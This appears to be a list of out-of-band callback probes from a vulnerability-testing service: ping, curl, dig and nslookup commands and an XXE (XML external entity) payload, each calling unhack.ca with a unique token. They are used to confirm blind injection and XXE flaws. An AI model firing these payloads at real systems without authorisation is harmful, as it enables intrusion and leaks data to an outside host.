$ ping -c1 -p 0061b1561f78a675430e7c3a825a8700 unhack.ca
 

$ curl http://unhack.ca/p/61b1561f78a675430e7c3a825a87
 

$ dig 61b1561f78a675430e7c3a825a87 @unhack.ca
 

$ dig 61b1561f78a675430e7c3a825a87.ns.unhack.ca
 

C:\> nslookup 61b1561f78a675430e7c3a825a87 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/61b1561f78a675430e7c3a825a87">]>
    <foo>&xxe;</foo>